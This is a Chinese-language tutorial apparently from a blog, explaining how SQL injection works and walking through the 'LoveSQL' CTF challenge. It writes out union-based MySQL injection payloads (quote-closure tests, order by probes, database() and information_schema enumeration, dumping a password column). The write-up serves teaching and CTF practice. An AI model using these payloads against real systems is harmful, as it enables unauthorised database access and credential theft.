sql注入一般流程(附例题)

sql注入原理

 

在与服务器数据库进行数据交互的地方拼接了恶意的sql代码,达到欺骗服务器执行恶意代码的目的。本质上是程序把用户输入的数据当成了sql语句执行。

SQL注入攻击思路

1.寻找注入点,判断闭合拼接

2.判断数据库类型版本

3.判断页面回馈寻找获取数据的方式

4.根据掌握的信息进行攻击

SQL注入的分类

1.判断某个链接是否存在SQL注入,可以通过对其传入的可控参数进行简单的构造,通过服务端返回的内容来判断有无注入 ,注入位置有GET数据(大多存在地址栏)、POST数据(大多存在输入框中)、HTTP头部、cookie数据。
2.不同的数据库内置的函数和结构都不同,所以一开始要确定数据库来确定payload。
3.从页面反馈有选择注入手法:有回显时联合查询注入、无回显时报错型注入、布尔型注入、延时 注入
4.还有一些注入思路,如加解密注入是因为服务器代码对数据进行了加密,所以payload要先解密在拼接后加密才能成功。二次注入是先存储脏数据进入数据库后再执行恶意代码。DNSlog注入是通过dns解析服务把信息显示在dns服务器上。堆叠注入是在语句结束后再构建一条恶意sql。

SQL注入的步骤

1、判断注入类型,数字型还是字符型:

首先,我们需要确定目标是数字型还是字符型注入漏洞,以便我们进一步进行其它注入操作。如下面的php代码片段所示,第一行代码代表数字型的sql拼接,其中的变量在sql查询语句拼接时并没有用引号括起来;第二行代码是字符型,其中的变量使用了引号进行拼接。

# 数字型
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
# 字符型
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

下面介绍如何进行判断,如下代码所示,首先我们假设注入类型为数字型,分别输入如下的语句。如果被测试对象是数字型,那么第一行测试语句会返回user_id为1的查询结果,而第二行语句由于条件and 1=2不成立,所以查询结果为空。如果被测试对象为字符型的话,将下面语句拼接到sql中,由于user_id的值都不匹配,所以应该是都不返回任何结果,但是注意如果user_id本身是int类型,实际查询过程中是会返回结果的,这可能是因为对输入的字符进行了截断并转换了类型,造成1 and 1=2在字符类型中会返回user_id为1的查询结果。当然如果第二个语句返回了结果,我们也可以以此判断出该注入类型是字符型。

1 and 1=1
1 and 1=2

  对于字符型注入判断,我们也可以这样进行操作,如下面的两条注入语句所示,如果是在数字型注入中,由于变量没有加引号,所以拼接后sql语法错误,直接报错,这和不回显信息是有区别。因此如果下面的语句注入后提示sql语法错误,那么我们可以直接判断测试对象为数字型注入。而对于字符型注入,第一行语句输入后和原本的引号前后完全闭合,且逻辑成立,所以回显出user_id为1的数据;第二行语句输入后,前后引号也完全闭合,但逻辑不成立,所以返回结果为空。
 

1' and '1'='1
1' and '1'='2

实际代码演示如下图

2、猜解sql查询语句中的字段数 

在这一步中,尝试去猜测出查询语句中的字段个数,如下注入语句所示,假设为字符型注入,先利用1'实现引号闭环,再利用or 1=1这样可以暴露出表中所有的数据,最后利用order by num#去看是否报错来明确查询语句中的字段数,其中#号用于截断sql查询语句。

1' or 1=1 order by 1 #
1' or 1=1 order by 2 #
或者
1' or 1=1 union select 1, 2, 3 #

实际代码演示

3、确定字段的显示顺序 

       这里我们直接使用union就行,如下

代码所示,这里我们故意扰乱了first_name和last_name的两个位置,查询出来结果中的1,2会指明数据字段在查询语句中的位置。

1' union select 1, 2 #

 实际代码如下图所示

sql注入一般流程(附例题)_第1张图片

 4、获取当前数据库

 通过前面的字段数确定以及显示顺序确定,我们就可以结合union操作来获取数据库中的信息了。如下代码所示,展示了获取数据库名的操作,根据前面已经获取到的字段数以及位置关系,假设有两个字段,那么下面的查询语句将会把数据库的名称放在第二个字段中。

1' union select 1, database() #

实际代码如下图所示

sql注入一般流程(附例题)_第2张图片

5、获取数据库中的表 

在获取到当前数据库名后,我们可以进一步获取其中表的信息。如下代码和截图所示,展示了获取数据库中表的信息,information_schema是MySql自带的信息数据库,用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等,其中的表实际上都是视图。information_schema的tables表记录了数据库中表的信息,指定table_schema的名称即可显示对应数据库中表的信息

1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #

实际代码如下图所示

 6、获取表中的字段名

进一步获取其中的字段名,假设要获取的表为users,如下面的代码和截图所示。information_schema的columns表存储了表中列的信息,也就是表中字段信息,指定table_name表名,即可获取到对应表的字段信息。

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users' #

实际代码如下图所示

 例题

例题来自于2019极客大挑战中的LoveSQL,环境可以在BUUCTF中远程获取

界面如下图所示

 话不多说,直接做

1、确定注入类型

题目中有登录框,可以在其任意一个地方注入

结果如下图所示,没有成功

2、确定字段数和显示顺序 

在初步尝试登录成功后,回显了一个奇怪的字符串,看起来很像flag,但是提交之后并不是(这里只能说是有点太狗了),所以接下来还是按照sql注入的步骤进行。我们注入1' union select 1, 2, 3 #,注入过程和效果如下图所示,发现Hello处显示了2,Your password is处显示了3,再经过其它测试发现查询的字段数只有3列。结合之前登录成功的界面,可以猜到第2列对应的是用户名,第3列对应的是密码。

3、获取数据库以及表信息

前面步骤基本上确定注入类型和字段数

# 注入语句(找库)
1' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=database() #

 4、获取字段信息

根据上步骤可以猜测flag存在表l0ve1ysq1中,下面就应该获取字段信息

# 注入语句
1' union select 1, 2, group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1" #

现在基本确定flag在字段password中

# 注入语句
1' union select 1, 2, group_concat(password) from l0ve1ysq1 #

 因为太长,后面就没有显示(大家可以自己手动注入试一试)

你可能感兴趣的:(sql,网络安全,web安全,安全,数据库)